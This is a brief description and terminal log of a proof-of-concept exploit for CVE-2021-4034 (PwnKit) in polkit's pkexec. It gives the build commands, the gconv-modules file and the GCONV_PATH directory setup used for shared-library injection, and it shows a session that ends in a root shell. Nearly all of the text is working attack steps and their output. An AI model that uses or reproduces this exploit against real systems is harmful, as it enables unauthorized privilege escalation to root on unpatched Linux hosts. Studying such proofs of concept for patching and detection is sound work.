
Proof-of-concept exploit for CVE-2021-4034 (PwnKit) that escalates privileges to root via a shared library injection in polkit's pkexec.
$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
$ ./cve-2021-4034
# whoami
root
# exit